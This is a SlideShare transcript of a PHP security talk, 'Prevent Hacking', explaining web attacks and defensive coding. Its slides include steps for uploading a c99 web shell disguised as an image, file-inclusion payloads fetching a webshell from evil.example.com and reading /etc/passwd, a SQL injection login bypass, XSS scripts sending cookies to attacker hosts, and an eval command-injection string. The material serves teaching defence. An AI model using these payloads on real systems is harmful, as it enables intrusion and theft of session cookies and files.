SlideShare a Scribd company logo
Prevent Hacking
By : Polaki Viswanath
Welcome
About Me
1. Drupal developer.
2. Been coding in php for about 6 years.
3. And been HACKED… a lot.
Goal of today’s talk
1. Why PHP is EVIL. Different ways we get hacked.
2. How to avoid being hacked and what is defencive coding style.
What will we discuss in today’s talk
1. Cool code injections by c99 shell, File inclusion vulnerability.
2. Dictionary attacks.
3. Sql injections.
4. Script injections like xss (cross site scripting), UI Redress (also Clickjacking)
5. Dynamic evaluation vulnerabilities.
6. How to avoid such attacks.
C99 Shell
Find a way to upload c99shell.php then see the magic!!!
For example:
1. Find an upload button.
2. Upload a php file having an upload field in a form with .png or .jpg extension.
3. Navigate to the uploaded file and upload the script file.
4. Run the uploaded c99 script file.
Source code found on: http://www.c99shellphp.com/
File Inclusion Vulnerability
This is categorised in 2 sub categories
1. Remote File Inclusion.
2. Local File Inclusion.
File Inclusion Vulnerability
<?php
if ( isset( $_GET['COLOR'] ) ) {
include( $_GET['COLOR'] . '.php' );
}
?>
<form method="get">
<select name="COLOR">
<option value="red">red</option>
<option value="blue">blue</option>
</select>
<input type="submit">
</form>
The developer intended only blue.php and red.php to be used as options. But it is possible to inject code from other files as anyone can insert
arbitrary values for the COLOR parameter.
/vulnerable.php?COLOR=http://evil.example.com/webshell.txt? - injects a remotely hosted file containing a malicious code.
/vulnerable.php?COLOR=C:ftpuploadexploit - Executes code from an already uploaded file called exploit.php (local file inclusion vulnerability)
/vulnerable.php?COLOR=C:notes.txt%00 - example using NULL meta character to remove the .php suffix, allowing access to files other than .php.
(Enabling magic_quotes_gpc limits the attack by escaping special characters, thus disabling the use of the NUL terminator)
/vulnerable.php?COLOR=/etc/passwd%00 - allows an attacker to read the contents of the passwd file on a UNIX system directory traversal.
File Inclusion Vulnerability Cont...
For example:
<?php include("inc/" . $_GET['file']); ?>
Valid Inputs:
1. Including files in the same directory: ?file=.htaccess
2. Path Traversal: ?file=../../../../../../../../../var/lib/locate.db (this file is very interesting because it lets you search the
filesystem, other files)
3. Including injected PHP code: ?file=../../../../../../../../../var/log/apache/error.log
Some other examples:
<?php include("inc/" . $_GET['file'] . ".htm"); ?>
<?php include($_GET['file']); ?>
<?php include($_GET['file'] . ".htm"); ?>
<?php include("http://192.168.1.10/config.php"); ?>
Dictionary Attacks
A dictionary attack is a technique for defeating an authentication mechanism by
trying to determine its decryption key or passphrase by trying hundreds or
sometimes millions of likely possibilities, such as words in a dictionary.
Sql injections
Normal Query:
SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'Password'
For an input of password' OR '1'='1 in password field
Modified Query:
SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'password' OR '1'='1'
Cross-Site Scripting or xss attack
Valid Input:
Very nice site!
Modified version:
1. Nice site, I think I'll take it. <script>document.location="http://some_attacker/cookie.cgi?" +
document.cookie</script>
2. Very nice site! <script>document.write('<iframe src="http://evilattacker.com?cookie=' + document.cookie.escape() +
'" height=0 width=0 />');</script>
Clickjacking or UI Redress
A UI Redress attack is any attempt by an attacker to alter the User Interface of a
web application. Changing the UI that a user interacts with can allow an attacker
to inject new links, new HTML sections, to resize/hide/overlay interface elements,
and so on. When such attacks are intended to trick a user into clicking on an
injected button or link it is usually referred to as Clickjacking.
Dynamic evaluation vulnerabilities
Example code:
$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');
If "arg" is set to "10; system('/bin/echo uh-oh')", additional code is run which
executes a program on the server, in this case "/bin/echo".
Now what can we do?
The answer to big question
1. Proper monitoring of server, configurations and code review for loopholes.
2. Input validations, Include validations.
3. String escaping and Magic Quotes.
4. Use of prepared Statements.
5. Using exceptions and proper use of “ @ ” symbol, eval, extract, $$ symbol.
6. Avoid use of Backtick, system and eval functions.
7. Type juggling using “==” instead of “===”.
Thankyou ;)
Questions ?

More Related Content

What's hot (20)

PDF
Cross Site Attacks
UTD Computer Security Group
 
PPTX
Cross Site Scripting: Prevention and Detection(XSS)
Aman Singh
 
PDF
Intro to Php Security
Dave Ross
 
PPTX
XSS- an application security vulnerability
Soumyasanto Sen
 
PDF
Google chrome presentation
reza jalaluddin
 
PPTX
Cross site scripting
ashutosh rai
 
PPTX
Cross Site Scripting(XSS)
Nabin Dutta
 
PDF
Top Ten Web Hacking Techniques (2010)
Jeremiah Grossman
 
PDF
Sandboxed platform using IFrames, postMessage and localStorage
tomasperezv
 
PPTX
Developing Secure Web Application - Cross-Site Scripting (XSS)
Codecamp Romania
 
PDF
Abusing Windows Opener To Bypass CSRF Protection
Narendra Bhati
 
PPTX
Cross site scripting XSS
Ronan Dunne, CEH, SSCP
 
PDF
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
Ivan Ortega
 
PPTX
Basic ethical hacking for seminar presentation
Vipin Rawat @ daya
 
PDF
Cross site scripting attacks and defenses
Mohammed A. Imran
 
PPTX
Reflective and Stored XSS- Cross Site Scripting
InMobi Technology
 
ODP
Security In PHP Applications
Aditya Mooley
 
PDF
Drivesploit: Circumventing Both Automated AND Manual Drive-By-Download Detection
Wayne Huang
 
PPT
Browser Security
Roberto Suggi Liverani
 
Cross Site Attacks
UTD Computer Security Group
 
Cross Site Scripting: Prevention and Detection(XSS)
Aman Singh
 
Intro to Php Security
Dave Ross
 
XSS- an application security vulnerability
Soumyasanto Sen
 
Google chrome presentation
reza jalaluddin
 
Cross site scripting
ashutosh rai
 
Cross Site Scripting(XSS)
Nabin Dutta
 
Top Ten Web Hacking Techniques (2010)
Jeremiah Grossman
 
Sandboxed platform using IFrames, postMessage and localStorage
tomasperezv
 
Developing Secure Web Application - Cross-Site Scripting (XSS)
Codecamp Romania
 
Abusing Windows Opener To Bypass CSRF Protection
Narendra Bhati
 
Cross site scripting XSS
Ronan Dunne, CEH, SSCP
 
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
Ivan Ortega
 
Basic ethical hacking for seminar presentation
Vipin Rawat @ daya
 
Cross site scripting attacks and defenses
Mohammed A. Imran
 
Reflective and Stored XSS- Cross Site Scripting
InMobi Technology
 
Security In PHP Applications
Aditya Mooley
 
Drivesploit: Circumventing Both Automated AND Manual Drive-By-Download Detection
Wayne Huang
 
Browser Security
Roberto Suggi Liverani
 

Similar to Prevent hacking (20)

PDF
Php vulnerability presentation
Sqa Enthusiast
 
PDF
Making Joomla Insecure - Explaining security by breaking it
Tim Plummer
 
PDF
Hacking sites for fun and profit
David Stockton
 
PPTX
Web Application Security - Folio3
Folio3 Software
 
PDF
Hacking sites for fun and profit
David Stockton
 
PPTX
Secure programming with php
Mohmad Feroz
 
PDF
Remote File Inclusion / Local File Inclusion [Attack and Defense Techniques]
Ismail Tasdelen
 
PPTX
Php security common 2011
10n Software, LLC
 
ODP
How secure is your code?
Mikee Franklin
 
PDF
Lets Make our Web Applications Secure
Aryashree Pritikrishna
 
ODP
Web Security
Chatree Kunjai
 
PDF
Hacking sites for fun and profit
David Stockton
 
PDF
Web Application Penetration Testing.pdf
barayapaten
 
PDF
Lis4774.term paper part_a.cyber_eagles
AlexisHarvey8
 
PPTX
Owasp Top 10 A1: Injection
Michael Hendrickx
 
PDF
LFI to RCE Exploit with Perl Script
Prathan Phongthiproek
 
PDF
null Bangalore meet - Php Security
n|u - The Open Security Community
 
PPTX
Hardening Enterprise Apache
guestd9aa5
 
PPT
Application Security
nirola
 
PPTX
CodeIgniter i18n Security Flaw
Abbas Naderi
 
Php vulnerability presentation
Sqa Enthusiast
 
Making Joomla Insecure - Explaining security by breaking it
Tim Plummer
 
Hacking sites for fun and profit
David Stockton
 
Web Application Security - Folio3
Folio3 Software
 
Hacking sites for fun and profit
David Stockton
 
Secure programming with php
Mohmad Feroz
 
Remote File Inclusion / Local File Inclusion [Attack and Defense Techniques]
Ismail Tasdelen
 
Php security common 2011
10n Software, LLC
 
How secure is your code?
Mikee Franklin
 
Lets Make our Web Applications Secure
Aryashree Pritikrishna
 
Web Security
Chatree Kunjai
 
Hacking sites for fun and profit
David Stockton
 
Web Application Penetration Testing.pdf
barayapaten
 
Lis4774.term paper part_a.cyber_eagles
AlexisHarvey8
 
Owasp Top 10 A1: Injection
Michael Hendrickx
 
LFI to RCE Exploit with Perl Script
Prathan Phongthiproek
 
null Bangalore meet - Php Security
n|u - The Open Security Community
 
Hardening Enterprise Apache
guestd9aa5
 
Application Security
nirola
 
CodeIgniter i18n Security Flaw
Abbas Naderi
 

Recently uploaded (20)

PDF
Windsurf Meetup Ottawa 2025-07-12 - Planning Mode at Reliza.pdf
Pavel Shukhman
 
PDF
NewMind AI Journal - Weekly Chronicles - July'25 Week II
NewMind AI
 
PPT
Interview paper part 3, It is based on Interview Prep
SoumyadeepGhosh39
 
PDF
Complete JavaScript Notes: From Basics to Advanced Concepts.pdf
haydendavispro
 
PDF
Exolore The Essential AI Tools in 2025.pdf
Srinivasan M
 
PDF
Transcript: New from BookNet Canada for 2025: BNC BiblioShare - Tech Forum 2025
BookNet Canada
 
PPTX
WooCommerce Workshop: Bring Your Laptop
Laura Hartwig
 
PDF
Why Orbit Edge Tech is a Top Next JS Development Company in 2025
mahendraalaska08
 
PDF
Presentation - Vibe Coding The Future of Tech
yanuarsinggih1
 
PDF
HCIP-Data Center Facility Deployment V2.0 Training Material (Without Remarks ...
mcastillo49
 
PDF
Chris Elwell Woburn, MA - Passionate About IT Innovation
Chris Elwell Woburn, MA
 
PDF
SFWelly Summer 25 Release Highlights July 2025
Anna Loughnan Colquhoun
 
PDF
Human-centred design in online workplace learning and relationship to engagem...
Tracy Tang
 
PDF
Log-Based Anomaly Detection: Enhancing System Reliability with Machine Learning
Mohammed BEKKOUCHE
 
PDF
Wojciech Ciemski for Top Cyber News MAGAZINE. June 2025
Dr. Ludmila Morozova-Buss
 
PPTX
AUTOMATION AND ROBOTICS IN PHARMA INDUSTRY.pptx
sameeraaabegumm
 
PDF
Smart Air Quality Monitoring with Serrax AQM190 LITE
SERRAX TECHNOLOGIES LLP
 
PDF
Building Resilience with Digital Twins : Lessons from Korea
SANGHEE SHIN
 
PDF
TrustArc Webinar - Data Privacy Trends 2025: Mid-Year Insights & Program Stra...
TrustArc
 
PDF
Achieving Consistent and Reliable AI Code Generation - Medusa AI
medusaaico
 
Windsurf Meetup Ottawa 2025-07-12 - Planning Mode at Reliza.pdf
Pavel Shukhman
 
NewMind AI Journal - Weekly Chronicles - July'25 Week II
NewMind AI
 
Interview paper part 3, It is based on Interview Prep
SoumyadeepGhosh39
 
Complete JavaScript Notes: From Basics to Advanced Concepts.pdf
haydendavispro
 
Exolore The Essential AI Tools in 2025.pdf
Srinivasan M
 
Transcript: New from BookNet Canada for 2025: BNC BiblioShare - Tech Forum 2025
BookNet Canada
 
WooCommerce Workshop: Bring Your Laptop
Laura Hartwig
 
Why Orbit Edge Tech is a Top Next JS Development Company in 2025
mahendraalaska08
 
Presentation - Vibe Coding The Future of Tech
yanuarsinggih1
 
HCIP-Data Center Facility Deployment V2.0 Training Material (Without Remarks ...
mcastillo49
 
Chris Elwell Woburn, MA - Passionate About IT Innovation
Chris Elwell Woburn, MA
 
SFWelly Summer 25 Release Highlights July 2025
Anna Loughnan Colquhoun
 
Human-centred design in online workplace learning and relationship to engagem...
Tracy Tang
 
Log-Based Anomaly Detection: Enhancing System Reliability with Machine Learning
Mohammed BEKKOUCHE
 
Wojciech Ciemski for Top Cyber News MAGAZINE. June 2025
Dr. Ludmila Morozova-Buss
 
AUTOMATION AND ROBOTICS IN PHARMA INDUSTRY.pptx
sameeraaabegumm
 
Smart Air Quality Monitoring with Serrax AQM190 LITE
SERRAX TECHNOLOGIES LLP
 
Building Resilience with Digital Twins : Lessons from Korea
SANGHEE SHIN
 
TrustArc Webinar - Data Privacy Trends 2025: Mid-Year Insights & Program Stra...
TrustArc
 
Achieving Consistent and Reliable AI Code Generation - Medusa AI
medusaaico
 

Prevent hacking

  • 1. Prevent Hacking By : Polaki Viswanath
  • 2. Welcome About Me 1. Drupal developer. 2. Been coding in php for about 6 years. 3. And been HACKED… a lot. Goal of today’s talk 1. Why PHP is EVIL. Different ways we get hacked. 2. How to avoid being hacked and what is defencive coding style.
  • 3. What will we discuss in today’s talk 1. Cool code injections by c99 shell, File inclusion vulnerability. 2. Dictionary attacks. 3. Sql injections. 4. Script injections like xss (cross site scripting), UI Redress (also Clickjacking) 5. Dynamic evaluation vulnerabilities. 6. How to avoid such attacks.
  • 4. C99 Shell Find a way to upload c99shell.php then see the magic!!! For example: 1. Find an upload button. 2. Upload a php file having an upload field in a form with .png or .jpg extension. 3. Navigate to the uploaded file and upload the script file. 4. Run the uploaded c99 script file. Source code found on: http://www.c99shellphp.com/
  • 5. File Inclusion Vulnerability This is categorised in 2 sub categories 1. Remote File Inclusion. 2. Local File Inclusion.
  • 6. File Inclusion Vulnerability <?php if ( isset( $_GET['COLOR'] ) ) { include( $_GET['COLOR'] . '.php' ); } ?> <form method="get"> <select name="COLOR"> <option value="red">red</option> <option value="blue">blue</option> </select> <input type="submit"> </form> The developer intended only blue.php and red.php to be used as options. But it is possible to inject code from other files as anyone can insert arbitrary values for the COLOR parameter. /vulnerable.php?COLOR=http://evil.example.com/webshell.txt? - injects a remotely hosted file containing a malicious code. /vulnerable.php?COLOR=C:ftpuploadexploit - Executes code from an already uploaded file called exploit.php (local file inclusion vulnerability) /vulnerable.php?COLOR=C:notes.txt%00 - example using NULL meta character to remove the .php suffix, allowing access to files other than .php. (Enabling magic_quotes_gpc limits the attack by escaping special characters, thus disabling the use of the NUL terminator) /vulnerable.php?COLOR=/etc/passwd%00 - allows an attacker to read the contents of the passwd file on a UNIX system directory traversal.
  • 7. File Inclusion Vulnerability Cont... For example: <?php include("inc/" . $_GET['file']); ?> Valid Inputs: 1. Including files in the same directory: ?file=.htaccess 2. Path Traversal: ?file=../../../../../../../../../var/lib/locate.db (this file is very interesting because it lets you search the filesystem, other files) 3. Including injected PHP code: ?file=../../../../../../../../../var/log/apache/error.log Some other examples: <?php include("inc/" . $_GET['file'] . ".htm"); ?> <?php include($_GET['file']); ?> <?php include($_GET['file'] . ".htm"); ?> <?php include("http://192.168.1.10/config.php"); ?>
  • 8. Dictionary Attacks A dictionary attack is a technique for defeating an authentication mechanism by trying to determine its decryption key or passphrase by trying hundreds or sometimes millions of likely possibilities, such as words in a dictionary.
  • 9. Sql injections Normal Query: SELECT UserList.Username FROM UserList WHERE UserList.Username = 'Username' AND UserList.Password = 'Password' For an input of password' OR '1'='1 in password field Modified Query: SELECT UserList.Username FROM UserList WHERE UserList.Username = 'Username' AND UserList.Password = 'password' OR '1'='1'
  • 10. Cross-Site Scripting or xss attack Valid Input: Very nice site! Modified version: 1. Nice site, I think I'll take it. <script>document.location="http://some_attacker/cookie.cgi?" + document.cookie</script> 2. Very nice site! <script>document.write('<iframe src="http://evilattacker.com?cookie=' + document.cookie.escape() + '" height=0 width=0 />');</script>
  • 11. Clickjacking or UI Redress A UI Redress attack is any attempt by an attacker to alter the User Interface of a web application. Changing the UI that a user interacts with can allow an attacker to inject new links, new HTML sections, to resize/hide/overlay interface elements, and so on. When such attacks are intended to trick a user into clicking on an injected button or link it is usually referred to as Clickjacking.
  • 12. Dynamic evaluation vulnerabilities Example code: $myvar = 'somevalue'; $x = $_GET['arg']; eval('$myvar = ' . $x . ';'); If "arg" is set to "10; system('/bin/echo uh-oh')", additional code is run which executes a program on the server, in this case "/bin/echo".
  • 13. Now what can we do?
  • 14. The answer to big question 1. Proper monitoring of server, configurations and code review for loopholes. 2. Input validations, Include validations. 3. String escaping and Magic Quotes. 4. Use of prepared Statements. 5. Using exceptions and proper use of “ @ ” symbol, eval, extract, $$ symbol. 6. Avoid use of Backtick, system and eval functions. 7. Type juggling using “==” instead of “===”.

Editor's Notes

  • #5: https://github.com/BlackArch/webshells/tree/master/php http://localhost/c99shell.php
  • #6: https://en.wikipedia.org/wiki/File_inclusion_vulnerability
  • #10: Source: https://en.wikipedia.org/wiki/Code_injection
  • #12: Source: http://phpsecurity.readthedocs.org/en/latest/Cross-Site-Scripting-(XSS).html